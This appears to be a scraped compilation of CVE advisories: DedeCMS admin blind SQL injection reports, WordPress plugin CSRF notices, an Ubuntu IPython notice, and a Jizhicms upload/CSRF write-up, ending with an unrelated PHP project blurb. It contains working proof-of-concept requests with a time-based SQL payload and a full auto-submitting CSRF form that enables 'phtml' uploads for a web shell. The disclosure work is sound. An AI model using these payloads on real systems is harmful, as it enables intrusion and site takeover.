SQL injection vulnerability found in DedeCMS v.5.7.106 allows a remote attacker to execute arbitrary code via the rank_* parameter in the /dedestory_catalog.php endpoint.

**Description**

Admin backend story catalog blind SQL injection via post parameters.

**Affected Version**

DedeCMS <= 5.7.160

**POC**

1.  Login to admin backend management.
2.  Request to /dede/story_catalog.php with GET parameter action=uprank and POST parameters rank_1=1'+and+sleep(3)+and+'1, this payload will lead to a time-based SQL injection.
3.  Requires PHP ≤ 5 and MySQL ≤ 5.5, and the story component contains at least one record in database.
4.  In the source code of /dede/story_catalog.php, when the GET parameter action is uprank, the POST value which the key contains rank_ will be directly joined into the update SQL statement, which lead to SQL update injection, finally the joint statement will be passed through mysqli_query, but this function only return boolean value when the query string is an update statement, that is why this is a blind injection.

Full POC request:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  

POST /cms/dedecms/dede/story\_catalog.php?action=uprank HTTP/1.1  
Host: 192.168.0.8  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: menuitems=1\_1%2C2\_1%2C3\_1; PHPSESSID=k5ten9v1ljuogh8pjae2idof0b; \_csrf\_name\_273c7533=e59946ea73ad488a9da6a03897480ac5; \_csrf\_name\_273c75331BH21ANI1AGD297L1FF21LN02BGE1DNG=6c93980ce4934236; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0462031c83e0ae08; DedeLoginTime=1677428501; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d9cb1c6293c6c17e; ENV\_GOBACK\_URL=%2Fcms%2Fdedecms%2Fdede%2Fstory\_books.php  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
rank\_1\=1'+and+sleep(3)+and+'1  

**Reference**

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27709: DedeCMS V5.7.160 Backend Blind SQL Injection

SQL injection vulnerability found in DedeCMS v.5.7.106 allows a remote attacker to execute arbitrary code via the rank_* parameter in the /dede/group_store.php endpoint.

**Description**

Admin backend group store blind SQL injection via post parameters.

**Affected Version**

DedeCMS <= 5.7.160

**POC**

1.  Login to admin backend management.
2.  Request to /dede/group_store.php with GET parameter action=uprank and POST parameters rank_1=1'+and+sleep(3)+and+'1, this payload will lead to a time-based SQL injection.
3.  In the source code of /dede/group_store.php, when the GET parameter action is uprank, the POST value which the key contains rank_ will be directly joined into the update SQL statement, which lead to SQL update injection, finally the joint statement will be passed through mysqli_query, but this function only return boolean value when the query string is an update statement, that is why this is a blind injection.

Full POC request:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  

POST /cms/dedecms/dede/group\_store.php?action=uprank HTTP/1.1  
Host: 192.168.0.8  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: menuitems=1\_1%2C2\_1%2C3\_1; PHPSESSID=k5ten9v1ljuogh8pjae2idof0b; \_csrf\_name\_273c7533=e59946ea73ad488a9da6a03897480ac5; \_csrf\_name\_273c75331BH21ANI1AGD297L1FF21LN02BGE1DNG=6c93980ce4934236; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0462031c83e0ae08; DedeLoginTime=1677428501; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d9cb1c6293c6c17e; ENV\_GOBACK\_URL=%2Fcms%2Fdedecms%2Fdede%2Fgroup\_store.php  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
rank\_1\=1'+and+sleep(3)+and+'1  

**Reference**

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27707: DedeCMS V5.7.160 Backend Blind SQL Injection

Cross-Site Request Forgery (CSRF) vulnerability in Social Login WP plugin <= 5.0.0.0 versions.

**5.4**

Medium severity CVSS 3.1 score

**Solution**

No patched version available.

Lana Codes discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Social Login WP Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-38063: WordPress Social Login WP plugin <= 5.0.0.0 - Cross-Site Request Forgery (CSRF) vulnerability - Patchstack

Ubuntu Security Notice 5953-1 - It was discovered that IPython incorrectly processed REST API POST requests. An attacker could possibly use this issue to launch a cross-site request forgery attack and leak user's sensitive information. This issue only affected Ubuntu 14.04 ESM. It was discovered that IPython did not properly manage cross user temporary files. A local attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM.

==========================================================================  
Ubuntu Security Notice USN-5953-1  
March 15, 2023

ipython vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 14.04 ESM

Summary:

Several security issues were fixed in IPython.

Software Description:  
- ipython: Enhanced interactive Python 3 shell

Details:

It was discovered that IPython incorrectly processed REST API POST requests.  
An attacker could possibly use this issue to launch a cross-site request  
forgery (CSRF) attack and leak user's sensitive information. This issue  
only affected Ubuntu 14.04 ESM. (CVE-2015-5607)

It was discovered that IPython did not properly manage cross user temporary  
files. A local attacker could possibly use this issue to execute arbitrary  
code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM.  
(CVE-2022-21699)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 20.04 LTS:  
  ipython3                        7.13.0-1ubuntu0.1~esm1  
  python3-ipython                 7.13.0-1ubuntu0.1~esm1

Ubuntu 18.04 LTS:  
  ipython                         5.5.0-1ubuntu0.1~esm1  
  ipython3                        5.5.0-1ubuntu0.1~esm1  
  python-ipython                  5.5.0-1ubuntu0.1~esm1  
  python3-ipython                 5.5.0-1ubuntu0.1~esm1

Ubuntu 14.04 ESM:  
  ipython                         1.2.1-2ubuntu0.1~esm1  
  ipython-notebook                1.2.1-2ubuntu0.1~esm1  
  ipython-notebook-common         1.2.1-2ubuntu0.1~esm1  
  ipython3                        1.2.1-2ubuntu0.1~esm1  
  ipython3-notebook               1.2.1-2ubuntu0.1~esm1

In general, a standard system update will make all the necessary changes.

References:  
  https://ubuntu.com/security/notices/USN-5953-1  
  CVE-2015-5607, CVE-2022-21699

Package Information:

Ubuntu Security Notice USN-5953-1

Cross-Site Request Forgery (CSRF) vulnerability in Rextheme WP VR – 360 Panorama and Virtual Tour Builder For WordPress plugin <= 8.2.7 versions.

**Solution**

Update the WordPress WP VR – 360 Panorama and Virtual Tour Builder For WordPress plugin to the latest available version (at least 8.2.8).

Abdi Pranata discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress WP VR – 360 Panorama and Virtual Tour Builder For WordPress Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 8.2.8.

**1 other known vulnerability for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25708: WordPress WP VR 360 Panorama and Virtual Tour Builder plugin <= 8.2.7 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Joseph C Dolson My Calendar plugin <= 3.3.24.1 versions.

**Solution**

Update the WordPress My Calendar plugin to the latest available version (at least 3.3.25).

rezaduty discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress My Calendar Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 3.3.25.

**9 other known vulnerabilities for this plugin**To plugin page

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2022-47427: WordPress My Calendar plugin <= 3.3.24.1 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Cozmoslabs, Madalin Ungureanu, Antohe Cristian Client Portal – Private user pages and login plugin <= 1.1.8 versions.

**Solution**

Update the WordPress Client Portal – Private user pages and login plugin to the latest available version (at least 1.1.9).

Rio Darmawan discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Client Portal – Private user pages and login Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 1.1.9.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25968: WordPress Client Portal plugin <= 1.1.8 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Plainware Locatoraid Store Locator plugin <= 3.9.11 versions.

**Solution**

Update the WordPress Locatoraid Store Locator plugin to the latest available version (at least 3.9.12).

thiennv discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Locatoraid Store Locator Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 3.9.12.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-25709: WordPress Locatoraid Store Locator plugin <= 3.9.11 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

An arbitrary file upload vulnerability in the \admin\c\CommonController.php component of Jizhicms v2.4.5 allows attackers to execute arbitrary code via a crafted phtml file.

The file upload vulnerability file address:  
\\app\\admin\\c\\CommonController.php  
It can be seen that uploads uses the blacklist and whitelist verification method for the suffix of uploaded files, but the blacklist lacks the restriction on the suffix phtml, which causes the file upload suffix to be bypassed  
For users who have logged in to the background, you can add a phtml to the file suffix in the whitelist, and then you can upload a sentence of the suffix phtml Trojan Horse  

  
Visible file uploaded successfully and returned to the upload path  
  
Repair method:Blacklist phtml files

The CSRF vulnerability ：  
After the administrator logged in, open the following page phtml will be included in the white list, and other configuration items can also be modified

    <html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://localhost:63342/jizhicms/index.php/admins/Sys/index.html" method="POST">
          <input type="hidden" name="web&#95;name" value="�&#158;&#129;�&#135;&#180;CMS�&#187;��&#171;&#153;�&#179;&#187;�&#187;&#159;" />
          <input type="hidden" name="web&#95;keyword" value="�&#158;&#129;�&#135;&#180;�&#187;��&#171;&#153;&#44;cms&#44;�&#188;&#128;�&#144;cms&#44;�&#133;&#141;�&#180;&#185;cms&#44;cms�&#179;&#187;�&#187;&#159;&#44;phpcms&#44;�&#133;&#141;�&#180;&#185;�&#188;&#129;�&#184;&#154;�&#187;��&#171;&#153;&#44;�&#187;��&#171;&#153;�&#179;&#187;�&#187;&#159;&#44;�&#188;&#129;�&#184;&#154;cms&#44;jizhicms&#44;�&#158;&#129;�&#135;&#180;cms&#44;�&#187;��&#171;&#153;cms&#44;�&#187;��&#171;&#153;�&#179;&#187;�&#187;&#159;&#44;�&#158;&#129;�&#135;&#180;�&#141;&#154;�&#174;&#162;&#44;�&#158;&#129;�&#135;&#180;blog&#44;�&#134;&#133;�&#174;&#185;�&#174;&#161;�&#144;&#134;�&#179;&#187;�&#187;&#159;" />
          <input type="hidden" name="web&#95;desc" value="�&#158;&#129;�&#135;&#180;CMS�&#152;&#175;�&#188;&#128;�&#144;�&#133;&#141;�&#180;&#185;�&#154;&#132;PHPCMS�&#189;&#145;�&#171;&#153;�&#134;&#133;�&#174;&#185;�&#174;&#161;�&#144;&#134;�&#179;&#187;�&#187;&#159;�&#188;&#140;�&#151;&#160;�&#149;&#134;�&#184;&#154;�&#142;&#136;�&#157;&#131;�&#188;&#140;�&#174;&#128;�&#141;&#149;�&#152;&#147;�&#148;&#168;�&#188;&#140;�&#143;&#144;�&#190;&#155;�&#184;&#176;�&#175;&#140;�&#154;&#132;�&#143;&#146;�&#187;&#182;�&#188;&#140;�&#184;&#174;�&#130;&#168;�&#174;&#158;�&#142;&#176;�&#155;&#182;�&#159;��&#161;&#128;�&#144;&#173;�&#187;��&#184;&#141;�&#144;&#140;�&#177;&#187;�&#158;&#139;�&#189;&#145;�&#171;&#153;�&#188;&#136;�&#188;&#129;�&#184;&#154;�&#171;&#153;�&#188;&#140;�&#151;&#168;�&#136;&#183;�&#171;&#153;�&#188;&#140;�&#184;�人�&#141;&#154;�&#174;&#162;�&#171;&#153;�&#173;&#137;�&#188;&#137;�&#188;&#140;�&#152;&#175;�&#130;&#168;�&#187;��&#171;&#153;�&#154;&#132;�&#165;&#189;�&#184;&#174;�&#137;&#139;�&#128;&#130;�&#158;&#129;�&#128;&#159;�&#187;��&#171;&#153;�&#188;&#140;�&#176;&#177;�&#128;&#137;�&#158;&#129;�&#135;&#180;CMS�&#128;&#130;" />
          <input type="hidden" name="web&#95;copyright" value="&#64;2020&#45;2099" />
          <input type="hidden" name="web&#95;beian" value="�&#134;&#128;ICP�&#164;&#135;88888�&#143;&#183;" />
          <input type="hidden" name="web&#95;tel" value="0666&#45;8888888" />
          <input type="hidden" name="web&#95;tel&#95;400" value="400&#45;0000&#45;000" />
          <input type="hidden" name="web&#95;qq" value="12345678" />
          <input type="hidden" name="web&#95;email" value="123456&#64;qq&#46;com" />
          <input type="hidden" name="web&#95;address" value="�&#178;&#179;�&#140;&#151;�&#156;&#129;�&#187;&#138;�&#157;&#138;�&#184;&#130;�&#185;&#191;�&#152;&#179;�&#140;�xxx�&#164;&#167;�&#142;&#166;xx�&#165;&#188;001�&#143;&#183;" />
          <input type="hidden" name="web&#95;logo" value="&#47;static&#47;cms&#47;static&#47;images&#47;logo&#46;png" />
          <input type="hidden" name="file" value="" />
          <input type="hidden" name="domain" value="" />
          <input type="hidden" name="mingan" value="" />
          <input type="hidden" name="closeweb" value="0" />
          <input type="hidden" name="closetip" value="�&#138;&#177;�&#173;&#137;�&#188;&#129;�&#175;&#165;�&#171;&#153;�&#130;&#185;�&#183;&#178;�&#187;&#143;�&#162;&#171;�&#174;&#161;�&#144;&#134;�&#145;&#152;�&#129;&#156;�&#173;&#162;�&#191;&#144;�&#161;&#140;�&#188;&#140;�&#175;&#183;�&#129;&#148;�&#179;&#187;�&#174;&#161;�&#144;&#134;�&#145;&#152;�&#134;�&#167;&#163;�&#175;&#166;�&#131;&#133;�&#188;&#129;" />
          <input type="hidden" name="web&#95;phone" value="0" />
          <input type="hidden" name="web&#95;weixin" value="" />
          <input type="hidden" name="pc&#95;template" value="cms" />
          <input type="hidden" name="wap&#95;template" value="cms" />
          <input type="hidden" name="weixin&#95;template" value="cms" />
          <input type="hidden" name="iswap" value="1" />
          <input type="hidden" name="isopenhomeupload" value="1" />
          <input type="hidden" name="isopenhomepower" value="0" />
          <input type="hidden" name="cache&#95;time" value="0" />
          <input type="hidden" name="fileSize" value="0" />
          <input type="hidden" name="fileType" value="pdf&#124;jpg&#124;jpeg&#124;png&#124;zip&#124;rar&#124;gzip&#124;doc&#124;docx&#124;xlsx&#124;phtml" />
          <input type="hidden" name="ueditor&#95;config" value="&quot;fullscreen&quot;&#44;&#32;&quot;source&quot;&#44;&quot;undo&quot;&#44;&#32;&quot;redo&quot;&#44;&quot;bold&quot;&#44;&#32;&quot;italic&quot;&#44;&#32;&quot;underline&quot;&#44;&#32;&quot;fontborder&quot;&#44;&#32;&quot;strikethrough&quot;&#44;&#32;&quot;super&quot;&#44;&#32;&quot;removeformat&quot;&#44;&#32;&quot;formatmatch&quot;&#44;&#32;&quot;autotypeset&quot;&#44;&#32;&quot;blockquote&quot;&#44;&#32;&quot;pasteplain&quot;&#44;&quot;forecolor&quot;&#44;&#32;&quot;backcolor&quot;&#44;&#32;&quot;insertorderedlist&quot;&#44;&#32;&quot;insertunorderedlist&quot;&#44;&#32;&quot;selectall&quot;&#44;&#32;&quot;cleardoc&quot;&#44;&quot;rowspacingtop&quot;&#44;&#32;&quot;rowspacingbottom&quot;&#44;&#32;&quot;lineheight&quot;&#44;&quot;customstyle&quot;&#44;&#32;&quot;paragraph&quot;&#44;&#32;&quot;fontfamily&quot;&#44;&#32;&quot;fontsize&quot;&#44;&quot;directionalityltr&quot;&#44;&#32;&quot;directionalityrtl&quot;&#44;&#32;&quot;indent&quot;&#44;&quot;justifyleft&quot;&#44;&#32;&quot;justifycenter&quot;&#44;&#32;&quot;justifyright&quot;&#44;&#32;&quot;justifyjustify&quot;&#44;&quot;touppercase&quot;&#44;&#32;&quot;tolowercase&quot;&#44;&quot;link&quot;&#44;&#32;&quot;unlink&quot;&#44;&#32;&quot;anchor&quot;&#44;&#32;&quot;imagenone&quot;&#44;&#32;&quot;imageleft&quot;&#44;&#32;&quot;imageright&quot;&#44;&#32;&quot;imagecenter&quot;&#44;&quot;simpleupload&quot;&#44;&#32;&quot;insertimage&quot;&#44;&#32;&quot;emotion&quot;&#44;&#32;&quot;scrawl&quot;&#44;&#32;&quot;insertvideo&quot;&#44;&#32;&quot;music&quot;&#44;&#32;&quot;attachment&quot;&#44;&#32;&quot;map&quot;&#44;&#32;&quot;gmap&quot;&#44;&#32;&quot;insertframe&quot;&#44;&#32;&quot;insertcode&quot;&#44;&#32;&quot;webapp&quot;&#44;&#32;&quot;pagebreak&quot;&#44;&quot;template&quot;&#44;&#32;&quot;background&quot;&#44;&quot;horizontal&quot;&#44;&#32;&quot;date&quot;&#44;&#32;&quot;time&quot;&#44;&#32;&quot;spechars&quot;&#44;&#32;&quot;snapscreen&quot;&#44;&#32;&quot;wordimage&quot;&#44;&quot;inserttable&quot;&#44;&#32;&quot;deletetable&quot;&#44;&#32;&quot;insertparagraphbeforetable&quot;&#44;&#32;&quot;insertrow&quot;&#44;&#32;&quot;deleterow&quot;&#44;&#32;&quot;insertcol&quot;&#44;&#32;&quot;deletecol&quot;&#44;&#32;&quot;mergecells&quot;&#44;&#32;&quot;mergeright&quot;&#44;&#32;&quot;mergedown&quot;&#44;&#32;&quot;splittocells&quot;&#44;&#32;&quot;splittorows&quot;&#44;&#32;&quot;splittocols&quot;&#44;&#32;&quot;charts&quot;&#44;&quot;print&quot;&#44;&#32;&quot;preview&quot;&#44;&#32;&quot;searchreplace&quot;&#44;&#32;&quot;help&quot;&#44;&#32;&quot;drafts&quot;" />
          <input type="hidden" name="ueditor&#95;user&#95;config" value="&quot;undo&quot;&#44;&#32;&quot;redo&quot;&#44;&#32;&quot;&#124;&quot;&#44;&quot;paragraph&quot;&#44;&quot;bold&quot;&#44;&quot;forecolor&quot;&#44;&quot;fontfamily&quot;&#44;&quot;fontsize&quot;&#44;&#32;&quot;italic&quot;&#44;&#32;&quot;blockquote&quot;&#44;&#32;&quot;insertparagraph&quot;&#44;&#32;&quot;justifyleft&quot;&#44;&#32;&quot;justifycenter&quot;&#44;&#32;&quot;justifyright&quot;&#44;&quot;justifyjustify&quot;&#44;&quot;&#124;&quot;&#44;&quot;indent&quot;&#44;&#32;&quot;insertorderedlist&quot;&#44;&#32;&quot;insertunorderedlist&quot;&#44;&quot;&#124;&quot;&#44;&#32;&quot;insertimage&quot;&#44;&#32;&quot;inserttable&quot;&#44;&#32;&quot;deletetable&quot;&#44;&#32;&quot;insertparagraphbeforetable&quot;&#44;&#32;&quot;insertrow&quot;&#44;&#32;&quot;deleterow&quot;&#44;&#32;&quot;insertcol&quot;&#44;&#32;&quot;deletecol&quot;&#44;&quot;mergecells&quot;&#44;&#32;&quot;mergeright&quot;&#44;&#32;&quot;mergedown&quot;&#44;&#32;&quot;splittocells&quot;&#44;&#32;&quot;splittorows&quot;&#44;&#32;&quot;splittocols&quot;&#44;&#32;&quot;&#124;&quot;&#44;&quot;drafts&quot;&#44;&#32;&quot;&#124;&quot;&#44;&quot;fullscreen&quot;" />
          <input type="hidden" name="classtypemaxlevel" value="0" />
          <input type="hidden" name="onlyuserupload" value="1" />
          <input type="hidden" name="imagequlity" value="75" />
          <input type="hidden" name="ispngcompress" value="0" />
          <input type="hidden" name="admintpl" value="default" />
          <input type="hidden" name="islevelurl" value="0" />
          <input type="hidden" name="iscachepage" value="1" />
          <input type="hidden" name="isautohtml" value="0" />
          <input type="hidden" name="pc&#95;html" value="&#47;" />
          <input type="hidden" name="mobile&#95;html" value="m" />
          <input type="hidden" name="autocheckmessage" value="0" />
          <input type="hidden" name="autocheckcomment" value="1" />
          <input type="hidden" name="iswatermark" value="0" />
          <input type="hidden" name="watermark&#95;file" value="" />
          <input type="hidden" name="watermark&#95;t" value="9" />
          <input type="hidden" name="watermark&#95;tm" value="0" />
          <input type="hidden" name="admin&#95;save&#95;path" value="static&#47;upload&#47;&#123;yyyy&#125;&#47;&#123;mm&#125;&#47;&#123;dd&#125;" />
          <input type="hidden" name="home&#95;save&#95;path" value="static&#47;upload&#47;&#123;yyyy&#125;&#47;&#123;mm&#125;&#47;&#123;dd&#125;" />
          <input type="hidden" name="isajax" value="0" />
          <input type="hidden" name="isregister" value="1" />
          <input type="hidden" name="onlyinvite" value="0" />
          <input type="hidden" name="release&#95;table" value="article&#124;product" />
          <input type="hidden" name="closehomevercode" value="0" />
          <input type="hidden" name="closeadminvercode" value="0" />
          <input type="hidden" name="tag&#95;table" value="article&#124;product" />
          <input type="hidden" name="isdebug" value="1" />
          <input type="hidden" name="closesession" value="0" />
          <input type="hidden" name="messageyzm" value="1" />
          <input type="hidden" name="homerelease" value="1" />
          <input type="hidden" name="hideclasspath" value="0" />
          <input type="hidden" name="hidetitleonliy" value="article&#45;title&#124;product&#45;title" />
          <input type="hidden" name="cachefilenum" value="100" />
          <input type="hidden" name="search&#95;table" value="article&#124;product" />
          <input type="hidden" name="search&#95;words" value="title" />
          <input type="hidden" name="search&#95;words&#95;muti" value="title" />
          <input type="hidden" name="search&#95;table&#95;muti" value="article&#124;product" />
          <input type="hidden" name="search&#95;fields&#95;muti" value="id&#44;tid&#44;litpic&#44;title&#44;tags&#44;keywords&#44;molds&#44;htmlurl&#44;description&#44;addtime&#44;userid&#44;member&#95;id&#44;hits&#44;ownurl&#44;target" />
          <input type="hidden" name="email&#95;server" value="smtp&#46;163&#46;com" />
          <input type="hidden" name="email&#95;port" value="465" />
          <input type="hidden" name="shou&#95;email" value="" />
          <input type="hidden" name="send&#95;email" value="" />
          <input type="hidden" name="send&#95;pass" value="" />
          <input type="hidden" name="send&#95;name" value="�&#158;&#129;�&#135;&#180;�&#187;��&#171;&#153;�&#179;&#187;�&#187;&#159;" />
          <input type="hidden" name="tj&#95;msg" value="�&#176;&#138;�&#149;&#172;�&#154;&#132;&#123;xxx&#125;�&#188;&#140;�&#136;&#145;�&#187;&#172;�&#183;&#178;�&#187;&#143;�&#148;&#182;�&#136;&#176;�&#130;&#168;�&#154;&#132;�&#174;&#162;�&#141;&#149;�&#188;&#129;�&#175;&#183;�&#149;&#153;�&#132;&#143;�&#130;&#168;�&#154;&#132;�&#148;��&#173;&#144;�&#130;&#174;�&#187;&#182;�&#187;&#165;�&#142;&#183;�&#190;&#151;�&#156;&#128;�&#150;&#176;�&#182;&#136;�&#129;&#175;�&#188;&#140;�&#176;&#162;�&#176;&#162;�&#130;&#168;�&#188;&#129;" />
          <input type="hidden" name="send&#95;msg" value="�&#176;&#138;�&#149;&#172;�&#154;&#132;&#123;xxx&#125;�&#188;&#140;�&#136;&#145;�&#187;&#172;�&#183;&#178;�&#161;&#174;�&#174;&#164;�&#134;�&#130;&#168;�&#154;&#132;�&#174;&#162;�&#141;&#149;�&#188;&#140;�&#175;&#183;�&#142;3�&#151;&#165;�&#134;&#133;�&#177;&#135;�&#172;&#190;�&#188;&#140;�&#128;&#190;�&#156;&#159;�&#129;&#149;�&#184;&#141;�&#191;&#157;�&#149;&#153;�&#188;&#140;�&#184;&#141;�&#190;&#191;�&#175;&#183;�&#167;&#129;�&#176;&#133;�&#128;&#130;�&#177;&#135;�&#172;&#190;�&#174;&#140;�&#136;&#144;�&#144;&#142;�&#188;&#140;�&#131;&#166;�&#175;&#183;�&#145;&#138;�&#159;&#165;�&#174;&#162;�&#156;&#141;人�&#145;&#152;�&#130;&#168;�&#154;&#132;�&#164;�&#152;&#147;�&#180;&#166;�&#143;&#183;�&#144;&#142;�&#148;�&#189;&#141;�&#188;&#140;�&#141;&#179;�&#174;&#140;�&#136;&#144;�&#184;&#139;�&#141;&#149;�&#137;&#139;�&#187;&#173;�&#188;&#140;�&#176;&#162;�&#176;&#162;�&#130;&#168;�&#128;&#130;" />
          <input type="hidden" name="yunfei" value="0&#46;00" />
          <input type="hidden" name="overtime" value="4" />
          <input type="hidden" name="isopenemail" value="1" />
          <input type="hidden" name="paytype" value="0" />
          <input type="hidden" name="alipay&#95;partner" value="" />
          <input type="hidden" name="alipay&#95;key" value="" />
          <input type="hidden" name="alipay&#95;private&#95;key" value="" />
          <input type="hidden" name="alipay&#95;public&#95;key" value="" />
          <input type="hidden" name="wx&#95;mchid" value="" />
          <input type="hidden" name="wx&#95;key" value="" />
          <input type="hidden" name="wx&#95;appid" value="" />
          <input type="hidden" name="wx&#95;appsecret" value="" />
          <input type="hidden" name="wx&#95;client&#95;cert" value="" />
          <input type="hidden" name="wx&#95;client&#95;key" value="" />
          <input type="hidden" name="wx&#95;token" value="" />
          <input type="hidden" name="money&#95;exchange" value="1" />
          <input type="hidden" name="jifen&#95;exchange" value="100" />
          <input type="hidden" name="isopenjifen" value="1" />
          <input type="hidden" name="isopenqianbao" value="1" />
          <input type="hidden" name="isopenweixin" value="1" />
          <input type="hidden" name="isopenzfb" value="1" />
          <input type="hidden" name="isopendmf" value="1" />
          <input type="hidden" name="wx&#95;login&#95;appid" value="" />
          <input type="hidden" name="wx&#95;login&#95;appsecret" value="" />
          <input type="hidden" name="wx&#95;login&#95;token" value="" />
          <input type="hidden" name="huanying" value="�&#172;&#162;�&#191;&#142;�&#133;&#179;�&#179;&#168;�&#133;&#172;�&#188;&#151;�&#143;&#183;&#126;" />
          <input type="hidden" name="login&#95;award" value="1" />
          <input type="hidden" name="login&#95;award&#95;open" value="1" />
          <input type="hidden" name="release&#95;award&#95;open" value="1" />
          <input type="hidden" name="release&#95;award" value="1" />
          <input type="hidden" name="release&#95;max&#95;award" value="0" />
          <input type="hidden" name="collect&#95;award&#95;open" value="1" />
          <input type="hidden" name="collect&#95;award" value="1" />
          <input type="hidden" name="collect&#95;max&#95;award" value="1000" />
          <input type="hidden" name="likes&#95;award&#95;open" value="1" />
          <input type="hidden" name="likes&#95;award" value="1" />
          <input type="hidden" name="likes&#95;max&#95;award" value="1000" />
          <input type="hidden" name="comment&#95;award&#95;open" value="1" />
          <input type="hidden" name="comment&#95;award" value="1" />
          <input type="hidden" name="comment&#95;max&#95;award" value="1000" />
          <input type="hidden" name="follow&#95;award&#95;open" value="1" />
          <input type="hidden" name="follow&#95;award" value="1" />
          <input type="hidden" name="follow&#95;max&#95;award" value="1000" />
          <input type="hidden" name="invite&#95;award&#95;open" value="0" />
          <input type="hidden" name="invite&#95;type" value="jifen" />
          <input type="hidden" name="invite&#95;award" value="0" />
          <input type="hidden" name="custom&#95;type" value="0" />
          <input type="hidden" name="custom&#95;title" value="" />
          <input type="hidden" name="custom&#95;fields" value="" />
          <input type="hidden" name="custom&#95;ctype" value="1" />
          <input type="hidden" name="custom&#95;tips" value="" />
          <input type="hidden" name="custom&#95;config" value="" />
          <input type="hidden" name="custom&#95;new&#95;title" value="" />
          <input type="hidden" name="custom&#95;new&#95;fields" value="" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

CVE-2023-27235: jizhicms v2.4.5 has a file upload vulnerability and a CSRF vulnerability · Issue #85 · Cherry-toto/jizhicms

A Cross-Site Request Forgery (CSRF) in Online Food Ordering System v1.0 allows attackers to change user details and credentials via a crafted POST request.

****Subscribe YouTube** For Latest Update **Click Here********100 + PHP Projects with Source Code** **

Online Food ordering system is a process in which one can order various foods and beverages from some local restaurant and hotels through the use of internet, just by sitting at home or any place. And the order is delivered to the told location.

The Online Food Order System In PHP is a simple project developed using PHP, JavaScript, and CSS. The project connects different restaurants with customers. The project contains an admin(manager) and the user side. All the management like editing site contents, updating food items, adding restaurants, and checking order status can be managed from the admin side. There can be many managers on the site.

For the user section, the users can go through the homepage, about, and contact pages. In order to order the food items, the user has to create an account and sign in or log in. The food comes with the cost as well. This project makes a convenient way for customers to buy/purchase food online, without having to go to the restaurant.

This Online Food Order System is in PHP, JavaScript, and CSS. Talking about the features of this system, it contains the admin(manager) section and the user (customer) section. All the editings, updating, managing order details, food items, and restaurants are from the admin section while customers can only go through the site and give orders if want. The design of this system is simple so that the user won’t get any difficulties while working on it.

This is an Online ordering system written using PHP/MySQL.

****The features of this system are the following:****

\- order product online  
\- upload product design online  
\- add, edit, delete product  
\- send order confirmation via email  
\- manage online order  
\- Ajax hierarchical combobox for payment method.  
\- add delivery charge outside the coverage area  
\- secure reservation  
\- forum for customer comments about the site  
\- generates various report  
\- and many more

****Brief overview of the technology:****

**Front end: HTML, CSS, JavaScript**

1.  HTML: HTML is used to create and save web document. E.g. Notepad/Notepad++
2.  CSS : (Cascading Style Sheets) Create attractive Layout
3.  Bootstrap : responsive design mobile freindly site
